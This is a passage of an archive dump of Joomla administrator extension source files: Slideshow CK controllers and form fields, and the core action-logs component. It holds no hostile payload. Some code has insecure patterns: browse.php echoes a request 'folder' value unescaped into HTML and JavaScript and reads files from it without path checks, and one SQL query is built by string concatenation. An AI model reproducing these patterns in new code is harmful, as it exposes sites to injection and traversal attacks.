			$isEnabled = CKFof::dbLoadResult("SELECT enabled FROM #__extensions WHERE element = '" . $plugin . "'");
			return (bool)$isEnabled;
		}
		return false;
	}

	protected function getModuleOptions($id) {
		if (empty($this->options)) {
			$this->options = CKFof::dbLoadObject("SELECT * FROM #__modules WHERE id = " . (int)$id);
		}
		return $this->options;
	}

	protected function doMigration($id, $params) {
		$find = array('slidesssource', 'imagetarget', 'articlelength', 'showarticletitle', 'lightboxtype', 'lightboxautolinkimages');
		$replace = array('source', 'linktarget', 'textlength', 'usetitle', 'lightbox', 'linkautoimage');
		$newparams = str_replace($find, $replace, $params);

		$paramsObj = new \Joomla\Registry\Registry($newparams);
		if ($paramsObj->get('slideshowckhikashop_enable', '0') == '1') $paramsObj->set('source', 'hikashop');
		if ($paramsObj->get('slideshowckjoomgallery_enable', '0') == '1') $paramsObj->set('source', 'joomgallery');
		if ($paramsObj->get('slideshowckk2_enable', '0') == '1') $paramsObj->set('source', 'k2');
		$newparams = json_encode($paramsObj);

		$data = CKFof::dbLoad('#__modules', $id);
		$data->id = $id;
		$data->params = $newparams;

		$return = CKFof::dbStore('#__modules', $data);

		if ($return) {
			CKfof::enqueueMessage(CKText::_('SLIDESHOWCK_MIGRATION_SUCCESS'), 'success');
		} else {
			CKfof::enqueueMessage(CKText::_('SLIDESHOWCK_MIGRATION_ERROR'), 'error');
		}
		CKfof::redirect();
	}

	protected function makeBackup($id, $params) {
		$path = JPATH_ROOT . '/administrator/components/com_slideshowck/backup/';

		// create the folder
		if (! CKFolder::exists($path)) {
			CKFolder::create($path);
		}

		$exportfiledest = $path . '/backup_' . $id . '_' . date("d-m-Y-G-i-s") . '.ssck';
		CKFile::write($exportfiledest, $params);
	}
}
com_slideshowck/elements/cktext.php000060400000003710152455305260013554 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCktext extends CKFormField {

	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 * @since  11.1
	 */
	protected $type = 'cktext';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];
		$size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : '';
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
		$disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
		$defautlwidth = $suffix ? '128px' : '150px';
		$styles = ' style="width:' . $defautlwidth . ';' . $this->element['styles'] . '"';

		// Initialize JavaScript field attributes.
		$onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';
		$html = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
		$html .= '<input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
				. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
		if ($suffix)
			$html .= '<span style="display:inline-block;line-height:25px;">' . $suffix . '</span>';
		return $html;
	}

}
com_slideshowck/elements/ckbackground.php000060400000001233152455305260014705 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';

class JFormFieldCkbackground extends CKFormField {

	protected $type = 'ckbackground';

	protected function getInput() {
		$styles = $this->element['styles'];
		$background = $this->element['background'] ? 'background: url(' . $this->mediaPath . $this->element['background'] . ') left top no-repeat;' : '';

		$html = '<p style="' . $background . $styles . '" ></p>';
		return $html;
	}

	protected function getLabel() {
		return '';
	}
}
com_slideshowck/controllers/browse.php000060400000003771152455305260014314 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('CK_LOADED') or die;

use Slideshowck\CKController;
use Slideshowck\CKFof;

require_once SLIDESHOWCK_PATH . '/helpers/ckbrowse.php';

class SlideshowckControllerBrowse extends CKController {

	public function getFiles() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		$folder = $this->input->get('folder', '', 'string');
		$type = $this->input->get('type', '', 'string');
		$filetypes = CKBrowse::getFileTypes($type);
		$files = CKBrowse::getImagesInFolder(JPATH_SITE . '/' . $folder, implode('|', $filetypes));

		if ($type == 'folder') {
			$pathway = str_replace('/', '</span><span class="ckfoldertreepath">', $folder);
			?>
			<div id="ckfoldertreelistfolderselection">
				<div class="ckbutton ckbutton-primary" style="font-size:20px;padding: 10px 20px;" onclick="ckSelectFolder('<?php echo ($folder) ?>')"><i class="fas fa-check-square"></i> <?php echo \Joomla\CMS\Language\Text::_('CK_SELECT_FOLDER') ?><br /><small><?php echo $pathway ?></small></div>
			</div>
		<?php }
		if (empty($files)) {
			echo \Joomla\CMS\Language\Text::_('CK_NO_IMAGE_FOUND');
		} else {
			foreach($files as $file) {
				?>
					<div class="ckfoldertreefile" data-type="<?php echo $type ?>" onclick="ckSelectFile(this)" data-path="<?php echo iconv('ISO-8859-1', 'UTF-8', $folder) ?>" data-filename="<?php echo iconv('ISO-8859-1', 'UTF-8', $file) ?>">
						<img src="<?php echo \Joomla\CMS\Uri\Uri::root(true) . '/' . iconv('ISO-8859-1', 'UTF-8', $folder) . '/' . iconv('ISO-8859-1', 'UTF-8', $file) ?>" title="<?php echo iconv('ISO-8859-1', 'UTF-8', $file); ?>" loading="lazy">
						<div class="ckimagetitle"><?php echo iconv('ISO-8859-1', 'UTF-8', $file); ?></div>
					</div>
				<?php
			}
		}
		exit;
	}
}
com_slideshowck/controllers/styles.php000060400000001366152455305260014334 0ustar00<?php
/**
 * @name		Slider CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */

// No direct access.
defined('_JEXEC') or die;

jimport('joomla.application.component.controlleradmin');

/**
 * Pages list controller class.
 */
class SlideshowckControllerStyles extends \Joomla\CMS\MVC\Controller\AdminController {

	/**
	 * Proxy for getModel.
	 * @since	1.6
	 */
	public function getModel($name = 'style', $prefix = 'SlideshowckModel', $config = array()) {
		$model = parent::getModel($name, $prefix, array('ignore_request' => true));
		return $model;
	}

}com_slideshowck/controllers/style.php000060400000013155152455305260014150 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKController;
use \Slideshowck\CKFof;

class SlideshowckControllerStyle extends CKController {

//	public function add() {
//		$this->edit(0);
		// Redirect to the edit screen.
//		CKFof::redirect(SLIDESHOWCK_ADMIN_URL . '&view=style&layout=edit&id=0&tmpl=component&layout=modal');
//	}

//	public function edit($id = null, $appendUrl = '') {
//		parent::edit($id, '&layout=modal&tmpl=component');
//	}
//
//	public function copy() {
//		parent::edit('&layout=modal&tmpl=component');
//	}

	/*
	 * Generate the CSS styles from the settings
	 */
	public function save() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		$id = $this->input->get('id', 0, 'int');

		$model = $this->getModel();
		$row = $model->getItem($id);

		// get data
		$fields = $this->input->get('fields', '', 'raw');
		$name = $this->input->get('name', '', 'string');
		if (! $name) $name = 'style' . $id;
		$layoutcss = trim($this->input->get('layoutcss', '', 'html'));
		// set data
		$row->params = $fields;
		$row->name = $name;
		$row->layoutcss = $layoutcss;

		if (! $id = $model->save($row)) {
			echo "{'result': '0', 'id': '" . $row->id . "', 'message': 'Error : Can not save the Styles !'}";
			echo($this->_db->getErrorMsg());
			exit;
		}
		echo '{"result": "1", "id": "' . $id . '", "message": "Styles saved successfully"}';
		exit;
	}

	/**
	 * copy an existing page
	 * @return void
	 */
//	function copy() {
//		$model = $this->getModel();
//		$cid = $this->input->get('cid', '', 'array');
//		$this->input->set('id', (int) $cid[0]);
//		if (!$model->copy()) {
//			$msg = \Joomla\CMS\Language\Text::_('CK_COPY_ERROR');
//			$type = 'error';
//		} else {
//			$msg = \Joomla\CMS\Language\Text::_('CK_COPY_SUCCESS');
//			$type = 'message';
//		}
//
//		$this->setRedirect('index.php?option=com_slideshowck&view=styles', $msg, $type);
//	}

	/*
	 * Generate the CSS styles from the settings
	 */
	public function ajaxRenderCss() {
		$fields = $this->input->get('fields', '', 'raw');
		$fields = json_decode($fields);
		$customstyles = stripslashes( $this->input->get('customstyles', '', 'string'));
		$customstyles = json_decode($customstyles);
		$customcss = $this->input->get('customcss', '', 'html');

		$css = $this->renderCss($fields, $customstyles);
		echo $css . $customcss;
		exit();
	}

	/*
	 * Render the CSS from the settings
	 */
	public function renderCss($fields, $customstyles) {
		include_once SLIDESHOWCK_PATH . '/helpers/ckstyles.php';
		$ckstyles = new \Slideshowck\CKStyles();
		$css = $ckstyles->create($fields, $customstyles);

		return $css;
	}

	/**
	 * Ajax method to save the json data into the .mmck file
	 *
	 * @return  boolean - true on success for the file creation
	 *
	 */
	public function exportParams() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}
		// create a backup file with all fields stored in it
		$fields = $this->input->get('jsonfields', '', 'string');
		$backupfile_path = SLIDESHOWCK_PATH . '/export/exportParamsSlideshowckStyle'. $this->input->get('styleid',0,'int') .'.mmck';
		if (file_put_contents($backupfile_path, $fields)) {
			echo '1';
		} else {
			echo '0';
		}

		exit();
	}

	/**
	 * Ajax method to import the .mmck file into the interface
	 *
	 * @return  boolean - true on success for the file creation
	 *
	 */
	public function uploadParamsFile() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		$file = $this->input->files->get('file', '', 'array');
		if (!is_array($file))
			exit();

		$filename = \Joomla\CMS\Filesystem\File::makeSafe($file['name']);

		// check if the file exists
		if (\Joomla\CMS\Filesystem\File::getExt($filename) != 'mmck') {
			$msg = \Joomla\CMS\Language\Text::_('CK_NOT_MMCK_FILE', true);
			echo json_encode(array('error'=> $msg));
			exit();
		}

		//Set up the source and destination of the file
		$src = $file['tmp_name'];

		// check if the file exists
		if (!$src || !\Joomla\CMS\Filesystem\File::exists($src)) {
			$msg = \Joomla\CMS\Language\Text::_('CK_FILE_NOT_EXISTS', true);
			echo json_encode(array('error'=> $msg));
			exit();
		}

		// read the file
		if (!$filecontent = \Joomla\CMS\Filesystem\File::read($src)) {
			$msg = \Joomla\CMS\Language\Text::_('CK_UNABLE_READ_FILE', true);
			echo json_encode(array('error'=> $msg));
			exit();
		}

		// replace vars to allow data to be moved from another server
		$filecontent = str_replace("|URIROOT|", \Joomla\CMS\Uri\Uri::root(true), $filecontent);
//		$filecontent = str_replace("|qq|", '"', $filecontent);

//		echo $filecontent;
		echo json_encode(array('data'=> $filecontent));
		exit();
	}

	/**
	 * Ajax method to read the fields values from the selected preset
	 *
	 * @return  json - 
	 *
	 */
	function loadPresetFields() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		$preset = $this->input->get('preset', '', 'string');
		$folder_path = SLIDESHOWCK_MEDIA_PATH . '/presets/';
		// load the fields
		$fields = '{}';
		if ( file_exists($folder_path . $preset. '.mmck') ) {
			$fields = @file_get_contents($folder_path . $preset. '.mmck');
			$fields = str_replace('\n','', $fields);
//			$fields = str_replace("{", "|ob|", $fields);
//			$fields = str_replace("}", "|cb|", $fields);
		} else {
			echo '{"result" : 0, "message" : "File Not found : '.$folder_path . $preset. '.mmck'.'"}';
			exit();
		}

		echo '{"result" : 1, "fields" : "'.$fields.'", "customcss" : ""}';
		exit();
	}
}com_actionlogs/layouts/logstable.php000060400000002741152455305260013740 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

Factory::getLanguage()->load("com_actionlogs", JPATH_ADMINISTRATOR, null, false, true);

$messages = $displayData['messages'];
$showIpColumn = $displayData['showIpColumn'];
?>
<h1>
	<?php echo Text::_('COM_ACTIONLOGS_EMAIL_SUBJECT'); ?>
</h1>
<h2>
	<?php echo Text::_('COM_ACTIONLOGS_EMAIL_DESC'); ?>
</h2>
<table>
	<thead>
		<th><?php echo Text::_('COM_ACTIONLOGS_ACTION'); ?></th>
		<th><?php echo Text::_('COM_ACTIONLOGS_DATE'); ?></th>
		<th><?php echo Text::_('COM_ACTIONLOGS_EXTENSION'); ?></th>
		<th><?php echo Text::_('COM_ACTIONLOGS_NAME'); ?></th>
		<?php if ($showIpColumn) : ?>
			<th><?php echo Text::_('COM_ACTIONLOGS_IP_ADDRESS'); ?></th>
		<?php endif; ?>
	</thead>
	<tbody>
		<?php foreach ($messages as $message) : ?>
			<tr>
				<td><?php echo $message->message; ?></td>
				<td><?php echo HTMLHelper::_('date', $message->log_date, 'Y-m-d H:i:s T', 'UTC'); ?></td>
				<td><?php echo $message->extension; ?></td>
				<td><?php echo $displayData['username']; ?></td>
				<?php if ($showIpColumn) : ?>
					<td><?php echo Text::_($message->ip_address); ?></td>
				<?php endif; ?>
			</tr>
		<?php endforeach; ?>
	</tbody>
</table>
com_actionlogs/controllers/actionlogs.php000060400000007263152455305260015000 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Actionlogs list controller class.
 *
 * @since  3.9.0
 */
class ActionlogsControllerActionlogs extends JControllerAdmin
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(array $config = array())
	{
		parent::__construct($config);

		$this->registerTask('exportSelectedLogs', 'exportLogs');
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   3.9.0
	 */
	public function getModel($name = 'Actionlogs', $prefix = 'ActionlogsModel', $config = array('ignore_request' => true))
	{
		// Return the model
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to export logs
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function exportLogs()
	{
		// Check for request forgeries.
		$this->checkToken();

		$task = $this->getTask();

		$pks = array();

		if ($task == 'exportSelectedLogs')
		{
			// Get selected logs
			$pks = ArrayHelper::toInteger(explode(',', $this->input->post->getString('cids')));
		}

		/** @var ActionlogsModelActionlogs $model */
		$model = $this->getModel();

		// Get the logs data
		$data = $model->getLogDataAsIterator($pks);

		if (count($data))
		{

			try
			{
				$rows = ActionlogsHelper::getCsvData($data);
			}
			catch (InvalidArgumentException $exception)
			{
				$this->setMessage(Text::_('COM_ACTIONLOGS_ERROR_COULD_NOT_EXPORT_DATA'), 'error');
				$this->setRedirect(Route::_('index.php?option=com_actionlogs&view=actionlogs', false));

				return;
			}

			// Destroy the iterator now
			unset($data);

			$date     = new Date('now', new DateTimeZone('UTC'));
			$filename = 'logs_' . $date->format('Y-m-d_His_T');

			$csvDelimiter = ComponentHelper::getComponent('com_actionlogs')->getParams()->get('csv_delimiter', ',');

			$app = Factory::getApplication();
			$app->setHeader('Content-Type', 'application/csv', true)
				->setHeader('Content-Disposition', 'attachment; filename="' . $filename . '.csv"', true)
				->setHeader('Cache-Control', 'must-revalidate', true)
				->sendHeaders();

			$output = fopen("php://output", "w");

			foreach ($rows as $row)
			{
				fputcsv($output, $row, $csvDelimiter);
			}

			fclose($output);
			$app->triggerEvent('onAfterLogExport', array());
			$app->close();
		}
		else
		{
			$this->setMessage(Text::_('COM_ACTIONLOGS_NO_LOGS_TO_EXPORT'));
			$this->setRedirect(Route::_('index.php?option=com_actionlogs&view=actionlogs', false));
		}
	}

	/**
	 * Clean out the logs
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function purge()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel();

		if ($model->purge())
		{
			$message = Text::_('COM_ACTIONLOGS_PURGE_SUCCESS');
		}
		else
		{
			$message = Text::_('COM_ACTIONLOGS_PURGE_FAIL');
		}

		$this->setRedirect(Route::_('index.php?option=com_actionlogs&view=actionlogs', false), $message);
	}
}
com_actionlogs/libraries/actionlogplugin.php000060400000004666152455305260015446 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

BaseDatabaseModel::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

/**
 * Abstract Action Log Plugin
 *
 * @since  3.9.0
 */
abstract class ActionLogPlugin extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Load plugin language file automatically so that it can be used inside component
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Proxy for ActionlogsModelUserlog addLog method
	 *
	 * This method adds a record to #__action_logs contains (message_language_key, message, date, context, user)
	 *
	 * @param   array   $messages            The contents of the messages to be logged
	 * @param   string  $messageLanguageKey  The language key of the message
	 * @param   string  $context             The context of the content passed to the plugin
	 * @param   int     $userId              ID of user perform the action, usually ID of current logged in user
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addLog($messages, $messageLanguageKey, $context, $userId = null)
	{
		$user = Factory::getUser();

		foreach ($messages as $index => $message)
		{
			if (!array_key_exists('userid', $message))
			{
				$message['userid'] = $user->id;
			}

			if (!array_key_exists('username', $message))
			{
				$message['username'] = $user->username;
			}

			if (!array_key_exists('accountlink', $message))
			{
				$message['accountlink'] = 'index.php?option=com_users&task=user.edit&id=' . $user->id;
			}

			if (array_key_exists('type', $message))
			{
				$message['type'] = strtoupper($message['type']);
			}

			if (array_key_exists('app', $message))
			{
				$message['app'] = strtoupper($message['app']);
			}

			$messages[$index] = $message;
		}

		/** @var ActionlogsModelActionlog $model **/
		$model = BaseDatabaseModel::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog($messages, strtoupper($messageLanguageKey), $context, $userId);
	}
}
com_actionlogs/actionlogs.php000060400000001250152455305260012420 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;

if (!Factory::getUser()->authorise('core.admin'))
{
	throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = BaseController::getInstance('Actionlogs');
$controller->execute(Factory::getApplication()->input->get('task'));
$controller->redirect();
com_actionlogs/actionlogs.xml000060400000002025152455305260012432 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="component" method="upgrade">
	<name>com_actionlogs</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>COM_ACTIONLOGS_XML_DESCRIPTION</description>
	<administration>
		<menu>COM_ACTIONLOGS</menu>
		<files folder="admin">
			<file>actionlogs.php</file>
			<file>config.xml</file>
			<file>access.xml</file>
			<file>controller.php</file>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_actionlogs.ini</language>
			<language tag="en-GB">language/en-GB.com_actionlogs.sys.ini</language>
		</languages>
	</administration>
</extension>
com_actionlogs/views/actionlogs/view.html.php000060400000005237152455305260015503 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * View class for a list of logs.
 *
 * @since  3.9.0
 */
class ActionlogsViewActionlogs extends JViewLegacy
{
	/**
	 * An array of items.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $items;

	/**
	 * The model state
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 * @since  3.9.0
	 */
	protected $pagination;

	/**
	 * The active search filters
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	public $activeFilters;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   3.9.0
	 */
	public function display($tpl = null)
	{
		$params = ComponentHelper::getParams('com_actionlogs');

		$this->items         = $this->get('Items');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->pagination    = $this->get('Pagination');
		$this->showIpColumn  = (bool) $params->get('ip_logging', 0);

		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		$this->addToolBar();

		// Load all actionlog plugins language files
		ActionlogsHelper::loadActionLogPluginsLanguage();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		ToolbarHelper::title(Text::_('COM_ACTIONLOGS_MANAGER_USERLOGS'), 'list-2');

		ToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'actionlogs.delete');
		$bar = Toolbar::getInstance('toolbar');
		$bar->appendButton('Confirm', 'COM_ACTIONLOGS_PURGE_CONFIRM', 'delete', 'COM_ACTIONLOGS_TOOLBAR_PURGE', 'actionlogs.purge', false);
		ToolbarHelper::preferences('com_actionlogs');
		ToolbarHelper::help('JHELP_COMPONENTS_ACTIONLOGS');
		ToolBarHelper::custom('actionlogs.exportSelectedLogs', 'download', '', 'COM_ACTIONLOGS_EXPORT_CSV', true);
		ToolBarHelper::custom('actionlogs.exportLogs', 'download', '', 'COM_ACTIONLOGS_EXPORT_ALL_CSV', false);
	}
}
com_actionlogs/views/actionlogs/tmpl/default.xml000060400000000307152455305260016170 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ACTIONLOGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ACTIONLOGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>

com_actionlogs/views/actionlogs/tmpl/default.php000060400000011360152455305260016160 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var ActionlogsViewActionlogs $this */

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

HTMLHelper::_('bootstrap.tooltip');
HTMLHelper::_('behavior.multiselect');
HTMLHelper::_('formbehavior.chosen', 'select');

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));

Factory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "actionlogs.exportLogs")
		{
			Joomla.submitform(task, document.getElementById("exportForm"));
			
			return;
		}

		if (task == "actionlogs.exportSelectedLogs")
		{
			// Get id of selected action logs item and pass it to export form hidden input
			var cids = [];

			jQuery("input[name=\'cid[]\']:checked").each(function() {
					cids.push(jQuery(this).val());
			});

			document.exportForm.cids.value = cids.join(",");
			Joomla.submitform(task, document.getElementById("exportForm"));

			return;
		}

		Joomla.submitform(task);
	};
');
?>
<form action="<?php echo Route::_('index.php?option=com_actionlogs&view=actionlogs'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-main-container">
		<?php echo LayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped table-hover" id="logsList">
				<thead>
					<th width="1%" class="center">
						<?php echo HTMLHelper::_('grid.checkall'); ?>
					</th>
					<th>
						<?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_ACTION', 'a.message', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_EXTENSION', 'a.extension', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_DATE', 'a.log_date', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_NAME', 'a.user_id', $listDirn, $listOrder); ?>
					</th>
					<?php if ($this->showIpColumn) : ?>
						<th width="10%" class="nowrap">
							<?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_IP_ADDRESS', 'a.ip_address', $listDirn, $listOrder); ?>
						</th>
					<?php endif; ?>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</thead>
				<tfoot>
					<tr>
						<td colspan="7">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) :
						$extension = strtok($item->extension, '.');
						ActionlogsHelper::loadTranslationFiles($extension); ?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center">
								<?php echo HTMLHelper::_('grid.id', $i, $item->id); ?>
							</td>
							<td>
								<?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?>
							</td>
							<td>
								<?php echo $this->escape(Text::_($extension)); ?>
							</td>
							<td>
								<span class="hasTooltip" title="<?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?>">
									<?php echo HTMLHelper::_('date.relative', $item->log_date); ?>
								</span>
							</td>
							<td>
								<?php echo $this->escape($item->name); ?>
							</td>
							<?php if ($this->showIpColumn) : ?>
								<td>
									<?php echo Text::_($this->escape($item->ip_address)); ?>
								</td>
							<?php endif;?>
							<td class="hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif;?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo HTMLHelper::_('form.token'); ?>
	</div>
</form>
<form action="<?php echo Route::_('index.php?option=com_actionlogs&view=actionlogs'); ?>" method="post" name="exportForm" id="exportForm">
	<input type="hidden" name="task" value="" />
	<input type="hidden" name="cids" value="" />
	<?php echo HTMLHelper::_('form.token'); ?>
</form>
com_actionlogs/helpers/actionlogs.php000060400000022142152455305260014065 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
